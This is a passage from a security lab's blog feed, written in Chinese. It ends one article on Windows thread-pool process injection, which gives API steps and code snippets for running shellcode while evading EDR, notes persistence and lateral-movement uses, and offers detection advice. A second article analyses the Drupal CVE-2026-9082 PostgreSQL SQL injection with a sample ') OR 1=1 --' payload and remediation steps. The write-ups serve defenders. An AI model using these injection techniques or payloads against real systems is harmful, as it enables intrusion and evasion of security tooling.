API 上的用户态钩子不会被触发。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-实现步骤\">3.2 实现步骤<a class=\"hash-link\" aria-label=\"3.2 实现步骤的直接链接\" title=\"3.2 实现步骤的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#32-%E5%AE%9E%E7%8E%B0%E6%AD%A5%E9%AA%A4\">​</a></h3>\n<p>线程池注入的实现包含以下四个步骤：</p>\n<p><strong>步骤一：获取目标进程句柄</strong>。通过进程名、PID 或窗口句柄等方式定位并打开目标进程，获取具有必要访问权限的进程句柄。</p>\n<p><strong>步骤二：内存分配与 Shellcode 写入</strong>。在目标进程中调用 <code>VirtualAllocEx</code> 分配具有读写执行权限（<code>PAGE_EXECUTE_READWRITE</code>）的内存区域，并通过 <code>WriteProcessMemory</code> 写入 Shellcode 载荷。</p>\n<p><strong>步骤三：创建工作项</strong>。调用 <code>CreateThreadpoolWork</code> API，将工作项的回调函数指针设置为 Shellcode 在目标进程中的地址：</p>\n<div class=\"language-cpp codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-cpp codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">PTP_WORK work </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">CreateThreadpoolWork</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">PTP_WORK_CALLBACK</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\">shellcodeAddr</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token constant\" style=\"color:#36acaa\">NULL</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\">        </span><span class=\"token comment\" style=\"color:#999988;font-style:italic\">// 回调参数（可选）</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token constant\" style=\"color:#36acaa\">NULL</span><span class=\"token plain\">         </span><span class=\"token comment\" style=\"color:#999988;font-style:italic\">// 线程池环境（NULL 表示使用默认线程池）</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p><strong>步骤四：提交工作项</strong>。调用 <code>SubmitThreadpoolWork</code> 将工作项提交至线程池。线程池调度器会将其分配至一个空闲线程执行：</p>\n<div class=\"language-cpp codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-cpp codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token function\" style=\"color:#d73a49\">SubmitThreadpoolWork</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">work</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>此时，Shellcode 在目标进程上下文中被执行，整个注入过程完成。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"33-技术约束\">3.3 技术约束<a class=\"hash-link\" aria-label=\"3.3 技术约束的直接链接\" title=\"3.3 技术约束的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#33-%E6%8A%80%E6%9C%AF%E7%BA%A6%E6%9D%9F\">​</a></h3>\n<p>尽管线程池注入在绕过 EDR 方面表现出显著优势，但其在实际应用中仍面临以下约束：</p>\n<ul>\n<li><strong>跨进程工作项提交的限制</strong>：<code>SubmitThreadpoolWork</code> 默认将工作项提交至调用进程的线程池，而非目标进程。若要注入远程进程，需要在目标进程中创建线程池或利用现有机制实现跨进程工作项投递，这增加了实现复杂度。</li>\n<li><strong>Shellcode 自包含性要求</strong>：线程池工作项的回调函数执行上下文不同于常规线程，Shellcode 需要能够在此上下文中正常运行，不能依赖特定的线程初始化状态。</li>\n<li><strong>同步与清理</strong>：工作项提交后的执行时机由线程池调度器决定，Shellcode 执行完成后需要自行清理，否则可能导致目标进程不稳定。</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-攻防评估\">4. 攻防评估<a class=\"hash-link\" aria-label=\"4. 攻防评估的直接链接\" title=\"4. 攻防评估的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#4-%E6%94%BB%E9%98%B2%E8%AF%84%E4%BC%B0\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"41-攻击优势\">4.1 攻击优势<a class=\"hash-link\" aria-label=\"4.1 攻击优势的直接链接\" title=\"4.1 攻击优势的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#41-%E6%94%BB%E5%87%BB%E4%BC%98%E5%8A%BF\">​</a></h3>\n<p>线程池注入技术的主要攻击优势在于其检测规避能力。2026 年 4 月的独立测试显示，采用该技术的 Shellcode 加载器在 VirusTotal 平台上的检出率为 0/67，CrowdStrike、SentinelOne、Microsoft Defender 等主流 EDR 均未产生告警。</p>\n<p>适用场景包括：</p>\n<ul>\n<li><strong>持久化</strong>：将 Beacon Shellcode 注入至 <code>svchost.exe</code>、<code>explorer.exe</code> 等系统常驻进程，实现跨会话持久化</li>\n<li><strong>横向移动</strong>：将 Shellcode 注入至远程主机的可信进程中，实现无文件横向移动</li>\n<li><strong>无文件攻击</strong>：结合反射式 DLL 加载或 Shellcode 加载器，实现完全无文件的进程注入</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"42-检测局��限\">4.2 检测局限<a class=\"hash-link\" aria-label=\"4.2 检测局限的直接链接\" title=\"4.2 检测局限的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#42-%E6%A3%80%E6%B5%8B%E5%B1%80%E9%99%90\">​</a></h3>\n<p>线程池注入技术对基于用户态 API 钩子的 EDR 具有天然免疫能力，但并非无法检测。以下检测维度仍然有效：</p>\n<ul>\n<li><strong>内核回调监控</strong>：基于内核态进程创建回调（<code>PsSetCreateThreadNotifyRoutine</code>）的检测机制可捕获线程创建事件，但对于线程池已存在线程的执行则无法区分。</li>\n<li><strong>内存扫描</strong>：对目标进程中可疑的 <code>PAGE_EXECUTE_READWRITE</code> 内存区域进行周期性扫描，仍然可以检测到 Shellcode 的存在。</li>\n<li><strong>行为分析</strong>：监控 <code>CreateThreadpoolWork</code> 与 <code>SubmitThreadpoolWork</code> 的异常调用模式，尤其是来自非可信进程（如浏览器、办公软件）的调用，可作为检测指标。</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-防御建议\">5. 防御建议<a class=\"hash-link\" aria-label=\"5. 防御建议的直接链接\" title=\"5. 防御建议的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#5-%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"51-用户态监控\">5.1 用户态监控<a class=\"hash-link\" aria-label=\"5.1 用户态监控的直接链接\" title=\"5.1 用户态监控的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#51-%E7%94%A8%E6%88%B7%E6%80%81%E7%9B%91%E6%8E%A7\">​</a></h3>\n<p>EDR 产品应将 <code>CreateThreadpoolWork</code>、<code>SubmitThreadpoolWork</code>、<code>SetThreadpoolThreadMaximum</code> 等线程池 API 纳入监控范围，对来自低信誉进程的线程池操作调用进行告警。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"52-内核态加固\">5.2 内核态加固<a class=\"hash-link\" aria-label=\"5.2 内核态加固的直接链接\" title=\"5.2 内核态加固的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#52-%E5%86%85%E6%A0%B8%E6%80%81%E5%8A%A0%E5%9B%BA\">​</a></h3>\n<p>启用 Windows LSA 保护（<code>RunAsPPL</code>），限制对关键系统进程的访问权限。采用内核驱动监控线程池工作项的提交与执行行为，识别异常的回调函数地址。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"53-进程安全策略\">5.3 进程安全策略<a class=\"hash-link\" aria-label=\"5.3 进程安全策略的直接链接\" title=\"5.3 进程安全策略的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#53-%E8%BF%9B%E7%A8%8B%E5%AE%89%E5%85%A8%E7%AD%96%E7%95%A5\">​</a></h3>\n<p>对于关键进程（如 <code>lsass.exe</code>、<code>svchost.exe</code>），启用额外的访问控制策略，防止非授权进程通过 <code>VirtualAllocEx</code> 和 <code>WriteProcessMemory</code> 进行内存操作。Windows Defender Application Control（WDAC）可有效限制未签名代码的执行。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"6-结论\">6. 结论<a class=\"hash-link\" aria-label=\"6. 结论的直接链接\" title=\"6. 结论的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#6-%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>Windows 线程池注入技术代表了进程注入技术从\"创建线程\"到\"复用线程\"的范式转变。它并非利用系统漏洞，而是利用线程池这一原生机制的设计特性——工作项回调由现有线程池线程执行，天然绕过了基于线程创建事件的检测模型。</p>\n<p>然而，任何攻击技术都有其适用范围和局限性。线程池注入在跨进程场景下的实现复杂度较高，且无法规避基于内存扫描与行为分析的高级检测。对防御者而言，理解线程池注入的技术原理，有助于构建更加完善的、覆盖用户态与内核态的多层次检测体系。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] SafeBreach Labs. \"Process Injection Using Windows Thread Pools.\" <a href=\"https://www.safebreach.com/blog/process-injection-using-windows-thread-pools\" target=\"_blank\" rel=\"noopener noreferrer\">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools</a></p>\n<p>[2] Microsoft Corporation. \"Thread Pool API Reference.\" <a href=\"https://learn.microsoft.com/en-us/windows/win32/procthread/thread-pool-api\" target=\"_blank\" rel=\"noopener noreferrer\">https://learn.microsoft.com/en-us/windows/win32/procthread/thread-pool-api</a></p>\n<p>[3] Microsoft Corporation. \"Windows Defender Application Control.\" <a href=\"https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/\" target=\"_blank\" rel=\"noopener noreferrer\">https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/</a></p>",
            "url": "https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/",
            "title": "基于 Windows 线程池机制的隐蔽进程注入技术分析与评估",
            "summary": "针对 Windows 线程池工作项注入技术的系统性分析，研究其在绕过 EDR 线程创建监控方面的原理、实现方法与检测对策。",
            "date_modified": "2026-05-21T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Research",
                "Linux"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>2026年5月20日，Drupal 官方发布安全公告 SA-CORE-2026-004，披露了 Core 中一处未授权 SQL 注入漏洞（CVE-2026-9082，CVSSv3 6.5）。漏洞存在于 PostgreSQL 特定的实体查询条件处理逻辑中，攻击者可利用 JSON<!-- -->:API<!-- --> 模块的过滤参数构造恶意数组键，操纵 PDO 命名占位符解析过程，在未认证条件下对 PostgreSQL 数据库执行任意 SQL 命令。本分析从漏洞原理、影响范围、复现验证及修复方案四个维度展开讨论。</p>\n<p><strong>关键词</strong>：Drupal；SQL 注入；PostgreSQL；JSON<!-- -->:API<!-- -->；PDO 占位符；CVE-2026-9082</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>Drupal 是一个开源内容管理框架（CMF），广泛用于构建企业级网站与 Web 应用。JSON<!-- -->:API<!-- --> 模块是 Drupal Core 的标准组件，提供基于 RESTful 规范的数据交互接口，允许客户端通过标准化查询参数对实体数据进行过滤、排序与分页。</p>\n<p>近期披露的 CVE-2026-9082 涉及 JSON<!-- -->:API<!-- --> 模块中过滤器参数处理与 PostgreSQL 数据库层之间的交互缺陷。该漏洞的利用无需身份验证，且 PoC 与 EXP 均已公开，对部署 PostgreSQL 后端的 Drupal 站点构成实际威胁。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-漏洞原理\">2. 漏洞原理<a class=\"hash-link\" aria-label=\"2. 漏洞原理的直接链接\" title=\"2. 漏洞原理的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#2-%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-根因定位\">2.1 根因定位<a class=\"hash-link\" aria-label=\"2.1 根因定位的直接链接\" title=\"2.1 根因定位的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#21-%E6%A0%B9%E5%9B%A0%E5%AE%9A%E4%BD%8D\">​</a></h3>\n<p>漏洞的根源位于 Drupal Core 中 PostgreSQL 数据库驱动特有的实体查询条件类。该类中的 <code>translateCondition()</code> 方法在处理数组类型过滤条件时存在逻辑缺陷。</p>\n<p>在 Drupal 的数据库抽象层中，SQL 查询使用 PDO（PHP Data Objects）的命名占位符机制来防止 SQL 注入。<code>translateCondition()</code> 方法遍历 <code>$condition['value']</code> 数组，并直接将数组键（key）嵌入为 PDO 占位符名称的组成部分。由于 JSON<!-- -->:API<!-- --> 允许客户端通过 URL 参数 <code>filter[x][condition][value][USER_CONTROLLED_KEY]=val</code> 形式传入任意数组键，攻击者可控制占位符名称的具体内容。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-pdo-占位符注入\">2.2 PDO 占位符注入<a class=\"hash-link\" aria-label=\"2.2 PDO 占位符注入的直接链接\" title=\"2.2 PDO 占位符注入的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#22-pdo-%E5%8D%A0%E4%BD%8D%E7%AC%A6%E6%B3%A8%E5%85%A5\">​</a></h3>\n<p>PDO 命名占位符解析规则限定有效字符集为 <code>[a-zA-Z0-9_]</code>。当攻击者构造的数组键中包含特殊字符（如右括号 <code>)</code>）时，PDO 解析器会停止占位符名称的识别，该字符及后续内容将被视为字面 SQL 文本，直接拼接到查询语句中。</p>\n<p>以 <code>IN()</code> 子句为例，正常情况下生成的查询形式为：</p>\n<div class=\"language-sql codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-sql codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token keyword\" style=\"color:#00009f\">WHERE</span><span class=\"token plain\"> field </span><span class=\"token operator\" style=\"color:#393A34\">IN</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">:placeholder_0</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> :placeholder_1</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>攻击者通过构造恶意键 <code>) OR 1=1 --</code> 作为数组键，可导致占位符解析提前终止，形成：</p>\n<div class=\"language-sql codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-sql codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token keyword\" style=\"color:#00009f\">WHERE</span><span class=\"token plain\"> field </span><span class=\"token operator\" style=\"color:#393A34\">IN</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">:placeholder_0</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> :placeholder_</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">OR</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token plain\"> </span><span class=\"token comment\" style=\"color:#999988;font-style:italic\">--)</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>后续 SQL 载荷被直接注入执行，从而实现任意 SQL 命令执行。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"23-利用条件\">2.3 利用条件<a class=\"hash-link\" aria-label=\"2.3 利用条件的直接链接\" title=\"2.3 利用条件的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#23-%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6\">​</a></h3>\n<p>利用该漏洞需满足以下条件：</p>\n<ul>\n<li>目标 Drupal 站点使用 PostgreSQL 作为后端数据库；</li>\n<li>目标站点启用了 JSON<!-- -->:API<!-- --> 模块（Core 标准组件）。</li>\n</ul>\n<p>MySQL 及 SQLite 等其他数据库后端不受该漏洞影响。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-影响范围\">3. 影响范围<a class=\"hash-link\" aria-label=\"3. 影响范围的直接链接\" title=\"3. 影响范围的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#3-%E5%BD%B1%E5%93%8D%E8%8C%83%E5%9B%B4\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-受影响版本\">3.1 受影响版本<a class=\"hash-link\" aria-label=\"3.1 受影响版本的直接链接\" title=\"3.1 受影响版本的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#31-%E5%8F%97%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC\">​</a></h3>\n<p>以下版本的 Drupal Core 受该漏洞影响：</p>\n<ul>\n<li><code>8.9.0 ≤ Drupal &lt; 10.4.10</code></li>\n<li><code>10.5.0 ≤ Drupal &lt; 10.5.10</code></li>\n<li><code>10.6.0 ≤ Drupal &lt; 10.6.9</code></li>\n<li><code>11.0.0 ≤ Drupal &lt; 11.1.10</code></li>\n<li><code>11.2.0 ≤ Drupal &lt; 11.2.12</code></li>\n<li><code>11.3.0 ≤ Drupal &lt; 11.3.10</code></li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-影响评估\">3.2 影响评估<a class=\"hash-link\" aria-label=\"3.2 影响评估的直接链接\" title=\"3.2 影响评估的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#32-%E5%BD%B1%E5%93%8D%E8%AF%84%E4%BC%B0\">​</a></h3>\n<p>由于 JSON<!-- -->:API<!-- --> 是 Drupal Core 的标准模块，大量站点默认启用了该功能。结合 PostgreSQL 在 Drupal 企业级部署中的较高市场占有率，该漏洞的实际影响面较为广泛。攻击者可利用漏洞执行时间盲注数据提取、权限枚举或进一步的后渗透操作。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-复现验证\">4. 复现验证<a class=\"hash-link\" aria-label=\"4. 复现验证的直接链接\" title=\"4. 复现验证的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#4-%E5%A4%8D%E7%8E%B0%E9%AA%8C%EF%BF%BD%E8%AF%81\">​</a></h2>\n<p>ICE Lab 已在受控环境中对 CVE-2026-9082 完成复现验证。在运行 Drupal 11.3.9、启用 JSON<!-- -->:API<!-- --> 功能且数据库类型为 PostgreSQL 的服务器上，以匿名身份通过构造恶意的 <code>filter</code> URL 参数成功触发了 SQL 注入，验证了漏洞的可利用性。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-修复方案\">5. 修复方案<a class=\"hash-link\" aria-label=\"5. 修复方案的直接链接\" title=\"5. 修复方案的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#5-%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88\">​</a></h2>\n<p>Drupal 官方已在以下版本中修复该漏洞：</p>\n<ul>\n<li><code>Drupal ≥ 10.4.10</code></li>\n<li><code>Drupal ≥ 10.5.10</code></li>\n<li><code>Drupal ≥ 10.6.9</code></li>\n<li><code>Drupal ≥ 11.1.10</code></li>\n<li><code>Drupal ≥ 11.2.12</code></li>\n<li><code>Drupal ≥ 11.3.10</code></li>\n</ul>\n<p>建议系统管理员通过 Composer 执行版本升级：</p>\n<div class=\"language-bash codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-bash codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token function\" style=\"color:#d73a49\">composer</span><span class=\"token plain\"> update drupal/core --with-all-dependencies</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>对于无法立即升级的环境，建议临时禁用 JSON<!-- -->:API<!-- --> 模块作为缓解措施。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"结论\">结论<a class=\"hash-link\" aria-label=\"结论的直接链接\" title=\"结论的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>CVE-2026-9082 是 Drupal Core 中一处针对 PostgreSQL 数据库的 SQL 注入漏洞，其根因在于实体查询条件类对数组键的处理未做充分过滤，结合 PDO 命名占位符的解析特性形成注入向量。由于利用无需认证且影响版本跨度大，部署 PostgreSQL 的 Drupal 站点需尽快完成版本更新。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] Drupal. \"SA-CORE-2026-004.\" <a href=\"https://www.drupal.org/sa-core-2026-004\" target=\"_blank\" rel=\"noopener noreferrer\">https://www.drupal.org/sa-core-2026-004</a></p>\n<p>[2] CVE Program. \"CVE-2026-9082.\" <a href=\"https://www.cve.org/CVERecord?id=CVE-2026-9082\" target=\"_blank\" rel=\"noopener noreferrer\">https://www.cve.org/CVERecord?id=CVE-2026-9082</a></p>",
            "url": "https://www.ce.ac.cn/blog/drupal-core-sql-injection-cve-2026-9082/",
            "title": "Drupal Core PostgreSQL SQL 注入漏洞分析（CVE-2026-9082）",
            "summary": "针对 Drupal Core JSON:API 模块中 PostgreSQL 特定 SQL 注入漏洞（CVE-2026-9082）的技术分析，涉及 PDO 命名占位符注入与数组键操控攻击。",
            "date_modified": "2026-05-20T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Disclosure",
                "Research"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/",
